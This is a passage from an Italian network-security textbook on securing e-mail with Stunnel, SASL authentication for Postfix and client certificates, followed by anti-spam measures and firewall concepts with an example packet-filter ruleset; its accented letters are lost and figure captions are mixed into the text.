server. La cifratura di Stunnel si basa sulle librerie OpenS-
SL e su certificati digitali. Una volta installato, Stunnel ha bi-
sogno di un certificato Stunnel.pem e di un file di configu-
razione stunnel.conf nella directory stabilita (ad esempio
/usr/local/etc/stunnel). Il certificato pu essere acquisito o
creato, come gi visto per il server HTTP. Un certificato
campione utilizzabile per le prove pu essere incluso nel-
l'installazione. Nel caso di creazione di un certificato con
OpenSSL, una volta prodotto newcert.pem, si ottiene un cer-
tificato adatto per Stunnel con i comandi:
openssl rsa -in newreq.pem -out stunnel.pem
openssl x509 -in newcert.pem -outform PEM >>
stunnel.pem
Nota bene: questo certificato contiene la chiave privata
in chiaro, quindi deve essere protetto con cura.
A questo punto possibile configurare Stunnel. Una con-
figurazione minima per il file stunnel.conf, necessario per la
versione 4 del programma, pu essere di questo tipo:
cert=/usr/local/etc/tunnel/tunnel.pem
key=/usr/local/etc/stunnel/stunnel.key
chroot=/var/run/stunnel/
pid=/pid/stunnel.pid
setuid=nobody
setgid=mailnull
[pop3s]
accept=995
connect=110
[imaps]
accept=993
connect=143
[ssmtp]
accept=465
connect=25
Si noti che questa configurazione di Stunnel esegue un
Change Root nella directory indicata, per la quale deve esi-
stere una directory pid su cui Stunnel abbia diritti in scrit-
tura per la creazione del file stunnel.pid (nel file di configu-
razione il percorso relativo alla directory di chroot). Il
gruppo e l'utente indicati per l'esecuzione di Stunnel de-
vono esistere e avere privilegi minimi. Questa configura-
zione si appoggia ai servizi in chiaro, ai quali ridirige le con-
nessioni protette. Se non si desidera che i servizi in chiaro
siano accessibili dalla rete, possibile proteggerli con i
meccanismi di filtraggio. In alternativa, possibile usare
l'opzione exec, anzich connect, nel file di configurazione e
disabilitare i servizi in chiaro.
Configurazione del client
I client di e-mail pi recenti supportano l'utilizzo di SSL
per la connessione al server POP/IMAP e SMTP. Di solito,
l'impostazione di tali opzioni si riduce a un clic nelle corri-
spondenti caselle delle finestre di configurazione dei client.
Le immagini d'esempio si riferiscono a tre client di e-mail:
Outlook 2003 in Windows XP, Evolution in Fedora Core 3 e
KMail in SuSE Linux 10.
Autenticazione SASL
per il servizio SMTP
Per introdurre l'argomento, riprendiamo alcuni fonda-
menti riguardanti il trasporto della posta. I messaggi e-mail
sono inviati attraverso Internet da mail server che servono
i domini locali ovvero sottoreti di Internet, ciascuna con il
proprio server che gestisce la posta inviata e ricevuta da-
gli utenti di tale sottorete.
Quando un utente invia un messaggio, questo trasfe-
rito dal computer dell'utente al mail server del dominio
che, a sua volta, lo trasferisce su Internet al mail server che
serve la sottorete su cui si trova il destinatario. Durante ta-
li operazioni intervengono due tipi di agenti software (pro-
grammi): un Mail User Agent (MUA) che serve all'utente per
spedire il messaggio, e un Mail Transfer Agent (MTA) che
trasporta il messaggio su Internet da un server all'altro
usando il protocollo SMTP.
Il pi noto degli MTA su Unix e derivati Sendmail, un
mail server daemon (servizio di mail server) che continua
a verificare se ci sono messaggi in arrivo da altri server e a
spedire messaggi in uscita destinati ai server opportuni. Al-
tri MTA di crescente successo sono Postfix, Exim, Courier
e Qmail.
Tra questi, Postfix (www.postfix.org) un MTA veloce,
facile da configurare, sicuro e compatibile con Sendmail (in
effetti, stato ideato per rimpiazzare Sendmail). Ad esem-
pio, Red Hat Linux installa e configura sia Sendmail sia Po-
stfix, e mette a disposizione uno strumento chiamato Mail
Transport Agent Switcher, accessibile dal menu System Set-
tings, che permette di passare da un agente all'altro.
Ora introduciamo il concetto di SASL (Simple Authenti-
cation and Security Layer - strato di semplice autenticazio-
ne e sicurezza), un'infrastruttura per l'autenticazione e la
protezione nei protocolli Internet definita dalla RFC 2222. Il
suo scopo disaccoppiare i meccanismi di autenticazione
Attivazione di POP3 e
IMAP su SSL in Outlook
Attivazione di POP3 su
SSL in Evolution
Attivazione di POP su
SSL in KMail
5.7.7.4 Sapere in
che modo abilitare
l'autenticazione
SMTP utilizzando
SASL
dai protocolli applicativi, permettendo in teoria di usare
qualunque meccanismo di autenticazione supportato da
SASL in qualunque protocollo applicativo che usi SASL. Un
esempio di meccanismo di autenticazione l'hash MD5,
mentre un esempio di protocollo applicativo TLS (Tran-
sport Layer Security), l'evoluzione di SSL.
Come esempio di supporto all'autenticazione SMTP
consideriamo il supporto SASL per Postfix (RFC 2554), uti-
lizzato per autenticare i client SMTP a un server SMTP re-
moto.
Supponiamo che Postfix sia gi stato installato e confi-
gurato correttamente senza il supporto SASL attivato, ma
compilato con le librerie sasl2. Per verificare la presenza
del supporto a SASL2, si pu usare il comando ldd (list dy-
namic dependencies) con argomento smtpd, il daemon di
Postfix.
Postfix non ha un supporto nativo per SASL, ma si ap-
poggia alle librerie SASL del pacchetto Cyrus per IMAP. Il
fatto di aggiungere tale supporto come pacchetto aggiun-
tivo permette di evitare, sui server su cui non richiesta
l'autenticazione SASL, le eventuali vulnerabilit di Cyrus, in
base al criterio di installare solo i servizi necessari. In que-
sto scenario, il daemon smtpd di Postfix, durante la fase di
autenticazione, poco pi che un tramite fra il client di po-
sta e il daemon saslauthd di Cyrus.
Quanto segue dovrebbe essere applicabile alla maggior
parte delle distribuzioni Linux, sia pure con possibili diffe-
renze nei percorsi dei file, nei meccanismi di avvio (file init)
e nella gestione dei file di configurazione. Fra i tanti docu-
menti online su Postfix e SASL, segnaliamo http://www.po-
stfix.org/SASL_README.html e http://www.trustix.net/
wiki/index.php/Postfix_and_SASL.
Del pacchetto SASL Cyrus devono essere installate e
configurate le librerie SASL2, il daemon saslauthd e gli even-
tuali plugin necessari per il tipo di autenticazione deside-
rato. Generalmente, ci comprende un pacchetto per le li-
brerie e il daemon (ad esempio libsasls2-2.1.xx-yy.rpm) e
pacchetti separati per i plugin (ad esempio libsasl2-plug-di-
gestmd5-2.1.xx-yy.rpm). Generalmente compreso anche un
file init per l'avvio del daemon saslauthd.
Le librerie si possono appoggiare a diverse tipologie di
database. In questo esempio ci limitiamo a utilizzare il da-
tabase delle password passwd/shadow, da utilizzare prefe-
ribilmente attraverso le librerie PAM (Pluggable Authenti-
cation Module) di Linux.
La corretta configurazione del daemon saslauthd pu es-
sere verificata con testsaslauthd, incluso nella distribuzione.
Con un account di test (dato che la password compare nel-
la linea di comando) si pu ad esempio provare:
testsaslauthd -s smtpd -u test -p test
per verificare che questa parte del sottosistema sia cor-
rettamente configurata. Le opzioni qui usate sono -s (ser-
vizio), -u (utente) e -p (password).
A questo punto possibile attivare l'autenticazione
SMTP, interfacciando il daemon smtpd con saslauthd. Per le
modifiche alla configurazione di Postfix (file main.cf) si
consiglia di utilizzare il comando postconf -e, come nell'e-
sempio che segue (notare che per certe operazioni ne-
cessario riavviare Postfix, non basta ricaricare la configu-
razione):
postconf -e 'smtpd_sasl_auth_enable = yes'
postfix reload
Devono quindi essere aggiunte o modificate le seguenti
voci di configurazione:
smtpd_sasl_auth_enable = yes
smtpd_sasl_security_options = noanonymous
smtpd_sasl_local_domain = $myhostname
broken_sasl_auth_clients = yes
L'ultimo parametro serve per compatibilit con alcuni
client, tra cui certe versioni di Outlook ed Exchange.
Se la configurazione corretta, si pu rilevare l'attiva-
zione dell'autenticazione SASL tramite telnet sulla porta 25:
$ telnet localhost 25
Trying 127.0.0.1
Connected to localhost (127.0.0.1).
Escape character is '^]'.
220 localhost ESMTP Postfix (2.1.1) (Mandrake Linux)
ehlo localhost
250-localhost
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-AUTH DIGEST-MD5
250 8BITMIME
quit
221 Bye
Connection closed by foreign host.
$
Si pu vedere che viene proposta l'autenticazione Dige-
st-MD5. Un'ultima verifica consiste nell'inviare mail senza
attivare l'autenticazione sul client: il messaggio deve esse-
re rifiutato.
Se Postfix installato in modalit chroot (), che quella
consigliata, i componenti con i quali esso deve interagire
(come minimo il socket di saslauthd) devono essere acces-
sibili nell'ambiente ristretto.
Per configurare l'utilizzo dell'autenticazione SMTP sul
client, di solito, sufficiente attivare l'apposita opzione nel
programma di posta.
Uso di certificati per
autenticare i client
Nei precedenti capitoli abbiamo esplorato l'uso di SSL
con Stunnel sul lato server. Un certificato pu essere usa-
to anche per autenticare il client. Si pu usare un certifica-
to gi installato per l'autenticazione HTTPS (vedi capitolo
5.7.6.5) o se ne pu generare uno come indicato in 5.6.1.
Nei client di posta recenti, la configurazione si riduce so-
litamente a indicare l'uso di una connessione SSL o sicura
(a volte non citato SSL).
Quindi necessario indicare al server POP/IMAP che si
desidera verificare il certificato del client, e fornire anche
il certificato della corrispondente Certification Authority per
la verifica. Continuando con l'esempio di utilizzo di Stunnel
per il supporto SSL al server, necessario specificare il per-
corso del certificato della CA e il livello di verifica deside-
rato.
Ad esempio, aggiungendo al file di configurazione:
CAfile=/usr/local/etc/tunnel/cacert.pem
verify=2
viene verificato che il certificato del client sia stato
emesso dalla CA il cui certificato cacert.pem. Il comando
Attivazione
dell'autenticazione SMTP
in KMail
Selezione del metodo di
autenticazione SMTP in
KMail
5.7.7.5 Essere in
grado d'impostare
mail POP/IMAP
tramite un canale
cifrato
verify preve-
de vari livelli
di verifica; al
livello 2,
Stunnel ri-
chiede la
presenza e
validit di un
certi f i cato
per ogni con-
n e s s i o n e
SSL.
Come parte
dell'installa-
zione, an-
che opportu-
no eseguire
c_rehash nel-
la directory
dei certifica-
ti.
E' uno script
Perl che fa parte di OpenSSL e associa nomi simbolici
(xxx.pem) agli hash dei certificati presenti nella directory.
Nota bene: l'autenticazione di Stunnel e quella dei ser-
vizi POP/IMAP sono indipendenti; una volta che Stunnel ha
consentito l'accesso all'utente con certificato per utente1,
nulla impedisce che quest'ultimo provi a connettersi al ser-
ver POP come utente2, a parte conoscere la corrispon-
dente password.
Il controllo dello spam
La gestione dello spam presenta due aspetti fondamen-
tali:
1. evitare che i sistemi aziendali, e in particolare i mail ser-
ver, siano utilizzati per inviare spam;
2. ridurre al minimo lo spam ricevuto dai propri utenti.
Per quanto riguarda il primo punto, l'aspetto pi rile-
vante assicurare che i mail server trasferiscano solo po-
sta dei propri utenti, disattivando la funzione di relay. Fino
a met degli anni '90, quando Internet non era usata per fi-
ni commerciali, era normale che i server fungessero da
open relay, cio da server SMTP che inoltrano posta di
qualsiasi provenienza. Quando i mass marketer (coloro che
praticano marketing di massa tramite spam) iniziarono a
usare i mail server per distribuire il flusso in uscita pas-
sando inosservati, i mail server cessarono di essere aperti
a chiunque. Gli open relay scesero dal 90% all'1% dei server
di posta.
Molti ISP (Internet Service Provider) utilizzano black list
(liste di indirizzi IP da cui rifiutare posta, chiamate anche
blocked list) per rifiutare di ricevere posta da un open relay.
Quando un mail server viene identificato come open relay
(perch ritrasmette e-mail liberamente) viene inserito in
una o pi black list, e gli altri mail server che fanno uso di
tali liste non accettano pi posta da quel server.
Quando in un'azienda necessario permettere il relay ad
alcuni utenti, preferibile separare il server SMTP pubbli-
co da quello che permette il relay, sul quale devono essere
attivati dei meccanismi di autenticazione. Si tenga conto
che l'estensione SMTP-AUTH, tramite cui il client si fa ri-
conoscere quando si collega al server SMTP, di modesta
efficacia perch non garantisce l'autenticit del mittente
(ad esempio, i campi From e Reply-To sono abitualmente
contraffatti nei messaggi spam).
Un'altra precauzione assicurare che gli unici sistemi in
grado di inviare posta su Internet siano i mail server. In que-
sto modo, se un sistema interno viene compromesso ad
esempio da un worm, non pu iniziare a inviare messaggi
all'esterno in modo incontrollato.
I mail server dovrebbero verificare che tutti i messaggi
uscenti abbiano un mittente all'interno del dominio azien-
dale.
Quando gli open relay divennero rari, gli spammer ri-
corsero ad altri metodi, come gli open proxy. Un proxy un
servizio di rete che attua connessioni indirette tra altri ser-
vizi di rete. Un client si connette al proxy e gli chiede di con-
nettersi a un server; il server riceve la chiamata dal proxy
e risponde al client usando il proxy come intermediario. I
proxy possono avere diverse funzioni, come cache per le
pagine Web, protezione della privacy, filtraggio dei conte-
nuti Web e altro. Un open proxy crea connessioni tra qua-
lunque client e qualunque server, senza autenticazione.
Uno spammer pu collegarsi a un open proxy e usarlo per
inviare spam a un mail server. Anche gli open proxy si sono
rarefatti e sono stati catalogati dalle blocking list.
Nel 2003 gli spammer hanno cambiato sistema. Anzich
cercare open relay e open proxy, si sono creati i propri ser-
ver dislocando su computer non protetti dei virus in fun-
zione di proxy e altri strumenti di spamming, infettando
centinaia di migliaia di computer.
Quindi, anche sul fronte antispam vitale predisporre il
consueto arsenale di contromisure, tra cui firewall, antivi-
rus e antispyware. Tra lo spamware (software per spam-
mer) ci sono programmi per importare indirizzi e-mail, in-
serire header fraudolenti nell'e-mail, usare open relay e co-
s via.
Molti spammer utilizzano anche servizi di provider con-
senzienti che garantiscono loro la continuit operativa sen-
za disconnessione, anche nel caso in cui l'attivit di spam
venga scoperta e ricondotta al provider originale.
Attivazione della
cifratura SSL in Evolution
Attivazione della
cifratura SSL in KMail
significato del
termine SPAM e le
possibili
contromisure
Uso di PC Windows
infettati dallo spammer
per diffondere spam che
procura accessi e
guadagni allo spammer
Per quanto riguarda il controllo dello spam entrante, ti-
picamente decine o centinaia di messaggi quotidiani per
utente, il riconoscimento e l'eliminazione dovrebbero av-
venire il pi presto possibile, visto che lo spam rappre-
senta il maggior carico di lavoro sui mail server. Un primo
meccanismo consiste nel controllare in modo rigoroso l'u-
tilizzo del protocollo SMTP, in modo da evitare l'invio di
messaggi in cui l'origine sia poco riconoscibile, o dove ci
sia discordanza tra IP di origine e dominio dichiarato nel
messaggio HELO o EHLO (inizio del dialogo con il server
SMTP o ESMTP). Queste verifiche sono soprattutto a cura
del server, quindi costituiscono una questione di scelta del
prodotto server, della sua configurazione (con eventuali
componenti accessori per la sicurezza) e delle procedure
di autenticazione, che possono coinvolgere anche i client.
Anche per un'azienda c' la possibilit di appoggiarsi a
servizi di black list per non accettare posta da indirizzi IP
noti per l'invio di spam o appartenenti a blocchi di indiriz-
zi dinamici. Un indirizzo dinamico spesso sintomo di un
computer compromesso, per esempio da un worm/caval-
lo di Troia, che funge da mail proxy per conto di uno spam-
mer. La normale posta elettronica dovrebbe essere inviata
solo attraverso i server dell'azienda o del provider.
Il rifiuto di messaggi in arrivo e anche il blocco del traf-
fico sono attivit legittime in un'azienda che le preveda nel-
la propria politica di sicurezza. Per un provider bloccare i
messaggi destinati agli utenti pi discutibile, se non ille-
gale, a meno che avvenga attraverso un servizio le cui ca-
ratteristiche siano state definite e accettate contrattual-
mente.
Tuttavia, anche in un'azienda, la soppressione di mes-
saggi legittimi considerati spam pu causare problemi ri-
levanti per i destinatari. Lo si pu sperimentare, ad esem-
pio, quando i mail server di un grosso provider sono inse-
riti in una black list a causa dell'invio di spam. La posta di
tutti i clienti del provider pu essere rifiutata, e i destina-
tari si trovano nell'impossibilit di condurre la normale
operativit e di ricevere documenti importanti. Da un lato,
se un provider entra in una black list si pu ipotizzare che
non si sia preoccupato o attrezzato in tempo per bloccare
la trasmissione di spam generato dai propri clienti. D'altra
parte, il disservizio che ne deriva pu essere grave.
Il successivo livello di difesa l'utilizzo di strumenti che
entrano nel merito dei messaggi per distinguere e separa-
re quelli legittimi dagli spam. Tali strumenti possono es-
sere centralizzati sui server (un esempio SpamAssassin)
o installati sui client, integrati nel client di posta (ad esem-
pio Outlook, Eudora e Mozilla) o interposti tra la rete e il
client, spesso integrati con l'antivirus (ad esempio ZoneA-
larm Security Suite). Questi prodotti possono essere qua-
si completamente automatici (in base ai comportamenti
di default) o configurabili in dettaglio. Per le installazioni
server esistono anche numerose
appliance anti-
spam, vale a dire
soluzioni hardware
pi software indi-
pendenti.
Il software antispam calcola una valutazione numerica
della probabilit di spam in base alle caratteristiche e al
contenuto del messaggio. Se la somma delle valutazioni su-
pera una data soglia, il messaggio marcato come spam.
Per evitare di cancellare messaggi validi, preferibile che
il software si limiti a segnalare i potenziali messaggi spam
e che sia l'utente a deciderne la destinazione. Un filtro an-
tispam pu basarsi su regole fisse o adattarsi al contesto
dell'utente, imparando dall'utente ad affinare la capacit di
riconoscimento.
Se il software utilizza un filtro bayesiano per riconosce-
re lo spam, esso utilizza le valutazioni dell'utente (mes-
saggio spam o legittimo) per affinare il processo di discri-
minazione e avvicinare al 100% la probabilit di giudizio
corretto. Un filtro antispam bayesiano si basa sul teorema
di Bayes. Tradotto dalla formula generale statistica al con-
testo dell'e-mail, il teorema afferma che la probabilit che
un e-mail sia spam, in base alle parole che contiene, ugua-
le alla probabilit di trovare quelle stesse parole nei mes-
saggi spam, moltiplicata per la probabilit che un qualsia-
si messaggio sia spam e divisa per la probabilit di trova-
re quelle parole in qualunque e-mail:
P(spam | parole) = P(parole | spam) x P(spam) : P(parole)
Esempi di antispam con filtri bayesiani per server sono
SpamAssassin, Bogofilter, Death2Spam e SpamProbe. Sui
client esistono decine tra applicazioni e moduli aggiuntivi
antispam basati su filtri bayesiani. Alcuni client di posta in-
cludono gi tale filtro (per esempio Eudora). Outlook 2003
ha un filtro non bayesiano di buona efficacia, ma il merca-
to offre una trentina di add-on per le diverse versioni di Ou-
tlook.
Sia Outlook che ZoneAlarm Security Suite inseriscono i
messaggi di probabile spam in apposite cartelle Junk
(spazzatura), dove possono essere verificati prima di es-
sere cancellati o dove vengono eliminati automaticamen-
te dopo un certo tempo.
I firewall
Il termine firewall ha come significato originario quello
di paratia antifiamma, cio una porta o parete mobile me-
tallica che si chiude per impedire la propagazione di un in-
cendio su navi, ospedali, ecc. Nel contesto della sicurezza
informatica, un firewall un sistema interposto tra due o
pi reti con lo scopo di controllare il traffico IP tra le stes-
se. L'esigenza di un firewall nasce quando le reti intercon-
nesse hanno livelli di sicurezza diversi, come nel caso di In-
ternet e della rete locale di un'azienda. Un firewall per-
mette o impedisce il traffico tra reti in funzione di una po-
litica di sicurezza, che pu essere in parte implicita nei
comportamenti di default e in parte esplicita sotto forma
di regole che descrivono, in generale o in dettaglio, quali
flussi di traffico sono ammessi in base ai nodi e alle reti di
origine e destinazione, alle direzioni di attraversamento, ai
** 140 Outlook 2003 e
ZoneAlarm Security Suite
6.0 mettono lo spam in
apposite directory Junk
5.7.8.1 Sapere cos'
un firewall, le relative
limitazioni e
potenzialit, le
differenti architetture
(gateway,
circuiti
etc.)
Impostazioni antispam in
Outlook 2003
Impostazioni antispam in
v6
protocolli e porte utilizzati, allo stato della connessione, al
volume di traffico e ad altri criteri. Le regole sono raccolte
in una lista ordinata, in modo da stabilire una precisa se-
quenza di esecuzione.
Un firewall svolge generalmente le seguenti funzioni:
1. difende i computer interni (server e client) da attacchi al-
la rete;
2. impone regole di utilizzo e di accesso alle reti e ai servizi;
3. tiene sotto controllo il traffico e avvisa in caso di tipi di
accesso sospetti.
Il presupposto per il corretto utilizzo e l'efficacia di un fi-
rewall che sia l'unico punto di contatto tra le reti; in caso
contrario, il traffico che il firewall incaricato di bloccare
potrebbe trovare un percorso alternativo. Un esempio ti-
pico una rete aziendale con l'accesso a Internet protetto
da un firewall, ma con singoli utenti che si collegano a In-
ternet via modem (per aggirare filtri sui contenuti web) o
che si collegano da casa al PC dell'ufficio (via modem), col
rischio d'infettare la rete aziendale.
Un firewall vitale per mitigare una serie di rischi di si-
curezza, ma solo un elemento dell'architettura generale
della scurezza, visto che la sua azione presenta alcuni li-
miti:
1. non protegge dal traffico autorizzato (bug delle applica-
zioni, virus annidati nell'e-mail, connessioni peer-to-peer
mimetizzate nel normale traffico HTTP, ecc.);
2. efficace quanto lo sono le regole con cui stato confi-
gurato; regole permissive o mal definite (magari perch
mal capite) possono aprire percorsi che dovrebbero re-
stare chiusi;
3. non protegge dagli attacchi di social engineering (sfrut-
tamento furbesco dei contatti personali per procurarsi
accesso al sistema), n dall'uso da parte di personale au-
torizzato ma male intenzionato;
4. non pone rimedio a cattive pratiche amministrative o a
politiche di sicurezza mediocri;
5. non blocca un attacco che passa per un'altra strada.
Sebbene un firewall sia indispensabile per la protezione
della rete interna da attacchi esterni, in primo luogo da In-
ternet, esso utile anche quando si interconnettono sot-
toreti con diversi gradi o requisiti di sicurezza, per esempio
tra una LAN e una WLAN (Wireless LAN) interne all'azienda.
Nell'immagine di esempio, la WLAN permette solo a utenti
autenticati di accedere alla LAN aziendale.
Un firewall un sistema che pu essere implementato in
molte forme a seconda dei requisiti, delle prestazioni ri-
chieste e dall'ampiezza delle funzioni svolte. Su un singolo
PC pu essere installato un firewall software per uso per-
sonale, che pu essere anche incluso nel sistema operati-
vo. Per reti di dimensioni piccole e medie un firewall pu
essere un'appliance, ossia un dispositivo hardware auto-
nomo dotato di sistema operativo e di software applicativo
in firmware (registrato in memoria Flash); talvolta, pu es-
serci anche un hard disk. Per le grandi organizzazioni esi-
stono firewall interamente software che si appoggiano a si-
stemi operativi commerciali (come Windows, Linux e So-
laris) o ad appliance con proprio sistema operativo (per
esempio Nokia).
Ad eccezione dei firewall software per uso personale,
che possono anche essere presenti in aggiunta ai firewall
centralizzati (al fine d'incorporare ulteriori funzioni di si-
curezza), il firewall che deve proteggere una rete bene che
sia un sistema dedicato solo al controllo del traffico e alle
funzioni riconducibili a tale funzione come, ad esempio il
punto terminale (server) di una VPN (rete privata virtuale,
un tunnel cifrato che protegge, ad esempio, la connessione
via Internet tra un computer esterno e la rete aziendale).
Un firewall un componente critico per la sicurezza di
una rete: pi funzioni svolge, pi soggetto a errori e a vul-
nerabilit. Non pu essere destinato anche ad altre attivit
perch l'aggiunta di servizi (soprattutto di tipo server co-
me Web e posta) aumenta la vulnerabilit del sistema, e
perch non ci possono essere compromessi tra sicurezza
e usabilit.
Pertanto, le funzioni di un firewall sono quelle di con-
trollo dei pacchetti che entrano ed escono, pi funzioni op-
zionali come il bilanciamento del carico, la gestione di clas-
si di servizio e la ripartizione del traffico in VLAN (LAN vir-
tuali, ovvero sottoreti indipendenti sotto uno stesso swit-
ch). Spesso un firewall controlla non solo il traffico tra LAN
interna e WAN (Wide Area Network o rete geografica, soli-
tamente Internet), ma anche il traffico con una DMZ, zona
demilitarizzata, la sottorete dove si collocano i server ac-
cessibili sia dalla LAN sia da Internet, che bene separare
per sicurezza dalla rete interna. Esistono anche appliance,
come Safe@Office 500W di Check Point, che includono nel
firewall un access point. Safe@Office 500W controlla il traf-
fico tra la WAN (Internet), la LAN, la WLAN e la DMZ.
Secondo le dimensioni dell'azienda, l'architettura di si-
curezza pu essere pi o meno articolata. Per esempio, si
possono utilizzare un firewall perimetrale e uno all'interno
della DMZ, oppure gruppi di firewall (almeno una coppia)
per suddividere il carico, garantire il servizio in caso di gua-
sto e gestire pi connessioni indipendenti a Internet (per
continuit del servizio).
Personal firewall
I firewall software per uso personale utilizzati sui PC, so-
Un firewall per proteggere le sottoreti
interne da Internet
Un firewall per
proteggere la LAN
dalla rete wireless
prattutto in ambiente Windows, eseguono su scala locale
operazioni che sono svolte anche dai firewall che proteg-
gono una rete. In primo luogo, questi firewall impediscono
gli accessi illeciti e indesiderati da Internet, inclusa la scan-
sione delle porte TCP e UDP alla ricerca di vulnerabilit.
Quindi, non solo non sono accettati pacchetti IP non ri-
chiesti, ma le porte diventano invisibili, in modo che l'at-
taccante non sappia quali sono le porte dove c' un servi-
zio in ascolto (che potrebbe essere manipolato per pene-
trare nel sistema). Solitamente, i personal firewall gratuiti
(e anche il firewall di Windows XP) si limitano a filtrare i pa-
chetti in ingresso, ma non quelli in uscita; se quindi il com-
puter fosse infettato da qualche software maligno che co-
munica informazioni all'esterno o partecipa ad attacchi
DOS (Denial of Service) o DDOS (Distributed DOS), l'utente
ne resterebbe all'oscuro, pur conservando piena respon-
sabilit morale e legale per i danni causati ad altri utenti.
I personal firewall commerciali per poche decine di eu-
ro assicurano una protezione molto pi completa, che non
si limita a filtrare i pacchetti in arrivo (ignorando quelli che
non giungono in risposta a connessioni originate dal si-
stema locale) e a controllare la regolarit dei pacchetti in
uscita, ma riconoscono e sventano varie tipologie di in-
trusione e permettono di impostare individualmente i di-
ritti di accesso alla rete locale e a Internet di ciascuna del-
le applicazioni eseguite sul computer.
Tra i tanti prodotti di questa categoria (di Symantec,
McAfee, Panda, Kerio, Segate e altri) segnaliamo il firewall
ZoneAlarm Pro di Zone Labs (un'azienda di Check Point),
incorporato anche nella ZoneAlarm Internet Security Suite,
che comprende firewall, antivirus, antispam, antispyware,
filtro Web e filtro della privacy.
Soprattutto i PC domestici connessi a banda larga, tra i
bersagli preferiti dei cracker, hanno bisogno di una linea di
difesa per impedire i vari tipi di accesso che preludono a
un attacco. Il firewall blocca i pacchetti riconoscibili come
illegali. Il malware mimetizzato nel traffico lecito (come
worm e trojan portati dall'e-mail) che supera indenne il fi-
rewall deve essere bloccato dall'antivirus e dall'anti-
spyware, oggi diventato altrettanto importante dell'antivi-
rus.
Normalmente un personal firewall, dopo l'installazione,
configura automaticamente l'accesso a Internet per le ap-
plicazioni installate. In seguito, la prima volta che un nuo-
vo programma cerca di trasmettere su Internet, viene chie-
sta l'autorizzazione all'utente. Questo permette di evitare
problemi legati a worm e trojan, anche se non impedisce
l'accesso alla rete attraverso applicazioni autorizzate, co-
me il browser e il client di posta.
Inoltre, il traffico entrante e uscente non autorizzato o
sospetto viene registrato in un log, utile sia per scoprire i
tentativi di intrusio-
ne, sia per diagnosti-
care problemi di ac-
cessibilit (una con-
figurazione imperfet-
ta pu bloccare il
traffico lecito tra sot-
toreti interne). Il li-
vello dei messaggi di
allarme presentati
all'utente selezio-
nabile, in modo da
evitare falsi allarmi
o frequenti comuni-
cazioni che un end-
user non saprebbe
come interpretare.
Tipologie di firewall basate
su filtraggio dei pacchetti
Esistono diverse tecnologie per la realizzazione dei fi-
rewall che differiscono, in primo luogo, per i livelli a cui
operano nella pila dei protocolli di rete. Di seguito vediamo
le tecnologie principali, facendo riferimento al caso di un
firewall interposto tra una rete aziendale e Internet.
Le implementazioni di base operano su un numero li-
mitato di strati (soprattutto lo strato 3 - rete - del modello
OSI, dove opera il protocollo IP); quelle pi complete e
avanzate controllano un maggior numero di strati, quindi
offrono un controllo pi efficace e una maggiore flessibilit
di configurazione. Un firewall che opera agli strati 2 (data
link o collegamento) e 3 (rete) non distingue tra utenti di-
versi, mentre un firewall che ispeziona lo strato applicati-
vo pu occuparsi dell'autenticazione degli utenti e inviare
segnalazioni a specifici utenti, oltre a entrare nel merito dei
messaggi scambiati.
Filtraggio statico dei pacchetti
I firewall del tipo packet filter (filtro di pacchetti) sono
quelli pi semplici, ma anche di modesta efficacia di fron-
te ad attacchi che sono diventati sempre pi sofisticati. Di
base, si tratta di router (strato 3) che includono una fun-
zione di controllo d'accesso governato da una serie di re-
gole (ruleset) eseguite in sequenza. Meccanismi di questo
tipo sono implementati sulla maggior parte dei router, che
costituiscono un primo elemento di filtraggio.
Regole statiche possono essere scritte anche con stru-
menti solitamente disponibili nelle distribuzioni di tipo
Unix e, di fatto, molte firewall appliance utilizzano un ker-
nel Linux ridotto (residente in memoria flash) e istruzioni
iptables del firewall Netfilter di Linux per implementare le
Selezione degli eventi da
segnalare e da registrare
nel log di ZoneAlarm
5.7.8.1 Sapere cos'
un firewall, le relative
limitazioni e
potenzialit, le
differenti
architetture: gateway,
circuiti, etc.
Controllo d'accesso dei
programmi nella
Un packet filter funziona principalmente allo strato 3 di rete
regole che formano la politica di sicurezza (prima del ker-
nel 2.4.x erano utilizzate le istruzioni ipchains). In Linux le
regole sono scritte sotto forma di catene di comandi ipta-
bles suddivise in Input, Output e Forward (inoltro), corri-
spondenti al trattamento dei pacchetti in arrivo, in uscita
e in trasferimento. Nelle appliance, la definizione di regole
(in aggiunta al set di base) facilitata da applicazioni con
interfaccia Web, dove l'utente compila una serie di campi di
significato intuitivo senza essere costretto (pur avendone
facolt) a usare i comandi del sistema operativo.
Consideriamo un esempio di rete protetta da un firewall
di tipo packet filter, e impostiamo un set minimo di regole
a scopo illustrativo.
Nell'esempio, la regola 1 permette alla subnet
128.5.6.0/24 (equivalente a dire che 128.5.6 il numero di
rete e l'ultimo ottetto dell'indirizzo IP il numero di host)
di accedere al server SSH (Secure Shell), che ha indirizzo
129.1.5.155 e usa la porta 22 TCP. Come abituale per le
porte di origine della comunicazione, il numero di porta
casuale e maggiore di 1023, mentre i numeri di porta di de-
stinazione sono quelli di default dei vari servizi.
La regola 2 permette a connessioni originate da qualun-
que indirizzo IP e porta superiore a 1023 di accedere al ser-
ver HTTP (Web server) 129.1.5.154 sulla porta 80 TCP.
La regola 3 permette a connessioni originate da qualun-
que indirizzo IP e porta superiore a 1023 di accedere al ser-
ver SMTP (mail server) 129.1.5.150 sulla porta 25 TCP.
Le regole 4 e 5 permettono a connessioni originate da
qualunque indirizzo IP e porta superiore a 1023 di accede-
re ai due server DNS (Domain Name Service) 129.1.5.152 e
129.1.5.153 sulla porta 53 UDP.
Dato che le regole vengono eseguite in cascata dall'alto
in basso, se nessuna delle prime cinque regole stata ap-
plicata scatta la regola 6, che blocca esplicitamente qua-
lunque pacchetto di qualunque provenienza e destinazio-
ne. Tale esempio rappresenta solo un frammento di ruleset,
dove mancano le regole per gli utenti delle sottoreti inter-
ne.
Nel controllo di ciascuna regola bisogna verificare che
tutte le relative clausole eseguano l'azione prevista: proto-
collo/porta di origine e protocollo/porta di destinazione.
Le regole dovrebbero essere elencate dalla pi specifica
alla pi generale, per evitare che una regola generale "cal-
pesti" una regola pi specifica, ma in conflitto. Allo stesso
tempo, le regole dovrebbero essere ordinate dall'alto in
basso seguendo la frequenza d'impiego, per non penaliz-
zare le prestazioni; appena una regola si applica cessa in-
fatti l'elaborazione della catena.
Tale meccanismo di filtraggio del traffico offre alcuni
vantaggi: economico, non causa un rallentamento signi-
ficativo di prestazioni ed efficace per regolare il traffico.
Tuttavia presenta anche numerose limitazioni, tra cui:
1. non distingue i pacchetti che sono parte di connessioni
in corso da quelli che hanno solo header IP e TCP/UDP si-
mili; riconoscere se un pacchetto parte di una connes-
sione richiede di mantenere traccia dello stato delle con-
nessioni.
